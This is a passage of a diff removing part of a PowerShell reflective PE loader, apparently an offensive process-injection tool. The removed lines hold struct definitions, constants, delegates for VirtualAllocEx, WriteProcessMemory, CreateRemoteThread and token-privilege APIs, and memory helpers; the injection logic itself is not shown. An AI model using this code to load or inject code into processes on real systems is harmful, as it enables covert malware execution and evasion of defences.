- $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
484
- $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
485
-
486
- $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
487
- $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
488
- $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
489
- $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
490
- $e_resField.SetCustomAttribute($AttribBuilder)
491
-
492
- $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
493
- $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
494
-
495
- $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
496
- $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
497
- $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
498
- $e_res2Field.SetCustomAttribute($AttribBuilder)
499
-
500
- $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
501
- $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
502
- $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
503
-
504
- #Struct IMAGE_SECTION_HEADER
505
- $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
506
- $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
507
-
508
- $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
509
- $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
510
- $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
511
- $nameField.SetCustomAttribute($AttribBuilder)
512
-
513
- $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
514
- $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
515
- $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
516
- $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
517
- $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
518
- $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
519
- $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
520
- $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
521
- $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
522
- $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
523
- $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
524
-
525
- #Struct IMAGE_BASE_RELOCATION
526
- $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
527
- $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
528
- $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
529
- $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
530
- $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
531
- $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
532
-
533
- #Struct IMAGE_IMPORT_DESCRIPTOR
534
- $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
535
- $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
536
- $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
537
- $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
538
- $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
539
- $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
540
- $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
541
- $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
542
- $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
543
-
544
- #Struct IMAGE_EXPORT_DIRECTORY
545
- $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
546
- $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
547
- $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
548
- $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
549
- $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
550
- $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
551
- $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
552
- $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
553
- $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
554
- $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
555
- $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
556
- $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
557
- $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
558
- $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
559
- $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
560
-
561
- #Struct LUID
562
- $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
563
- $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
564
- $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
565
- $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
566
- $LUID = $TypeBuilder.CreateType()
567
- $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
568
-
569
- #Struct LUID_AND_ATTRIBUTES
570
- $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
571
- $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
572
- $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
573
- $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
574
- $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
575
- $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
576
-
577
- #Struct TOKEN_PRIVILEGES
578
- $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
579
- $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
580
- $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
581
- $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
582
- $TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
583
- $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES
584
-
585
- return $Win32Types
586
- }
587
-
588
- Function Get-Win32Constants
589
- {
590
- $Win32Constants = New-Object System.Object
591
-
592
- $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
593
- $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
594
- $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
595
- $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
596
- $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
597
- $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
598
- $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
599
- $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
600
- $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
601
- $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
602
- $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
603
- $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
604
- $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
605
- $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
606
- $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
607
- $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
608
- $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
609
- $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
610
- $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
611
- $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
612
- $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
613
- $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
614
- $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
615
- $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
616
- $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
617
- $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
618
- $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
619
- $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
620
- $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
621
-
622
- return $Win32Constants
623
- }
624
-
625
- Function Get-Win32Functions
626
- {
627
- $Win32Functions = New-Object System.Object
628
-
629
- $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
630
- $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
631
- $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
632
- $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
633
-
634
- $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
635
- $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
636
- $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
637
- $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
638
-
639
- $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
640
- $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
641
- $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
642
- $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
643
-
644
- $memsetAddr = Get-ProcAddress msvcrt.dll memset
645
- $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
646
- $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
647
- $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
648
-
649
- $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
650
- $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
651
- $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
652
- $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
653
-
654
- $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
655
- $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
656
- $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
657
- $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
658
-
659
- $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself
660
- $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
661
- $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
662
- $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr
663
-
664
- $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
665
- $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
666
- $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
667
- $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
668
-
669
- $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
670
- $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
671
- $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
672
- $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
673
-
674
- $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
675
- $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
676
- $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
677
- $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
678
-
679
- $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
680
- $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
681
- $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
682
- $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
683
-
684
- $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
685
- $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr])
686
- $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
687
- $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
688
-
689
- $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
690
- $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
691
- $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
692
- $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
693
-
694
- $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
695
- $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
696
- $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
697
- $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
698
-
699
- $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
700
- $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
701
- $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
702
- $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
703
-
704
- $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
705
- $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
706
- $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
707
- $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
708
-
709
- $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
710
- $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
711
- $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
712
- $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
713
-
714
- $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
715
- $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
716
- $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
717
- $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
718
-
719
- $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
720
- $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
721
- $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
722
- $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
723
-
724
- $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
725
- $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
726
- $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
727
- $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
728
-
729
- $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
730
- $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
731
- $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
732
- $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
733
-
734
- $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
735
- $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
736
- $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
737
- $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
738
-
739
- $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
740
- $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
741
- $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
742
- $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
743
-
744
- $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
745
- $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
746
- $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
747
- $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
748
-
749
- $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
750
- $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
751
- $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
752
- $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
753
-
754
- $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
755
- $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
756
- $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
757
- $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
758
-
759
- return $Win32Functions
760
- }
761
- #####################################
762
-
763
-
764
- #####################################
765
- ########### HELPERS ############
766
- #####################################
767
-
768
- #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function
769
- #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses
770
- Function Sub-SignedIntAsUnsigned
771
- {
772
- Param(
773
- [Parameter(Position = 0, Mandatory = $true)]
774
- [Int64]
775
- $Value1,
776
-
777
- [Parameter(Position = 1, Mandatory = $true)]
778
- [Int64]
779
- $Value2
780
- )
781
-
782
- [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
783
- [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
784
- [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
785
-
786
- if ($Value1Bytes.Count -eq $Value2Bytes.Count)
787
- {
788
- $CarryOver = 0
789
- for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
790
- {
791
- $Val = $Value1Bytes[$i] - $CarryOver
792
- #Sub bytes
793
- if ($Val -lt $Value2Bytes[$i])
794
- {
795
- $Val += 256
796
- $CarryOver = 1
797
- }
798
- else
799
- {
800
- $CarryOver = 0
801
- }
802
-
803
-
804
- [UInt16]$Sum = $Val - $Value2Bytes[$i]
805
-
806
- $FinalBytes[$i] = $Sum -band 0x00FF
807
- }
808
- }
809
- else
810
- {
811
- Throw "Cannot subtract bytearrays of different sizes"
812
- }
813
-
814
- return [BitConverter]::ToInt64($FinalBytes, 0)
815
- }
816
-
817
-
818
- Function Add-SignedIntAsUnsigned
819
- {
820
- Param(
821
- [Parameter(Position = 0, Mandatory = $true)]
822
- [Int64]
823
- $Value1,
824
-
825
- [Parameter(Position = 1, Mandatory = $true)]
826
- [Int64]
827
- $Value2
828
- )
829
-
830
- [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
831
- [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
832
- [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
833
-
834
- if ($Value1Bytes.Count -eq $Value2Bytes.Count)
835
- {
836
- $CarryOver = 0
837
- for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
838
- {
839
- #Add bytes
840
- [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
841
-
842
- $FinalBytes[$i] = $Sum -band 0x00FF
843
-
844
- if (($Sum -band 0xFF00) -eq 0x100)
845
- {
846
- $CarryOver = 1
847
- }
848
- else
849
- {
850
- $CarryOver = 0
851
- }
852
- }
853
- }
854
- else
855
- {
856
- Throw "Cannot add bytearrays of different sizes"
857
- }
858
-
859
- return [BitConverter]::ToInt64($FinalBytes, 0)
860
- }
861
-
862
-
863
- Function Compare-Val1GreaterThanVal2AsUInt
864
- {
865
- Param(
866
- [Parameter(Position = 0, Mandatory = $true)]
867
- [Int64]
868
- $Value1,
869
-
870
- [Parameter(Position = 1, Mandatory = $true)]
871
- [Int64]
872
- $Value2
873
- )
874
-
875
- [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
876
- [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
877
-
878
- if ($Value1Bytes.Count -eq $Value2Bytes.Count)
879
- {
880
- for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
881
- {
882
- if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
883
- {
884
- return $true
885
- }
886
- elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
887
- {
888
- return $false
889
- }
890
- }
891
- }
892
- else
893
- {
894
- Throw "Cannot compare byte arrays of different size"
895
- }
896
-
897
- return $false
898
- }
899
-
900
-
901
- Function Convert-UIntToInt
902
- {
903
- Param(
904
- [Parameter(Position = 0, Mandatory = $true)]
905
- [UInt64]
906
- $Value
907
- )
908
-
909
- [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
910
- return ([BitConverter]::ToInt64($ValueBytes, 0))
911
- }
912
-
913
-
914
- Function Get-Hex
915
- {
916
- Param(
917
- [Parameter(Position = 0, Mandatory = $true)]
918
- $Value #We will determine the type dynamically
919
- )
920
-
921
- $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2
922
- $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first.
923
-
924
- return $Hex
925
- }
926
-
927
-
928
- Function Test-MemoryRangeValid
929
- {
930
- Param(
931
- [Parameter(Position = 0, Mandatory = $true)]
932
- [String]
933
- $DebugString,
934
-
935
- [Parameter(Position = 1, Mandatory = $true)]
936
- [System.Object]
937
- $PEInfo,
938
-
939
- [Parameter(Position = 2, Mandatory = $true)]
940
- [IntPtr]
941
- $StartAddress,
942
-
943
- [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)]
944
- [IntPtr]
945
- $EndAddress,
946
-
947
- [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
948
- [IntPtr]
949
- $Size
950
- )
951
-
952
- [IntPtr]$FinalEndAddress = [IntPtr]::Zero
953
- if ($Size)
954
- {
955
- [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
956
- }
957
- else
958
- {
959
- $FinalEndAddress = $EndAddress
960
- }
961
-
962
- $PEEndAddress = $PEInfo.EndAddress
963
-
964
- if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
965
- {
966
- Throw "Trying to write to memory smaller than allocated address range. $DebugString"
967
- }
968
- if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
969
- {
970
- Throw "Trying to write to memory greater than allocated address range. $DebugString"
971
- }
972
- }
973
-
974
-
975
- Function Write-BytesToMemory
976
- {
977
- Param(
978
- [Parameter(Position=0, Mandatory = $true)]
979
- [Byte[]]
980
- $Bytes,
981
-
982
- [Parameter(Position=1, Mandatory = $true)]
983
- [IntPtr]
984
- $MemoryAddress
985
- )
986
-
987
- for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
988
- {
989
- [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
990
- }
991
- }
992
-
993
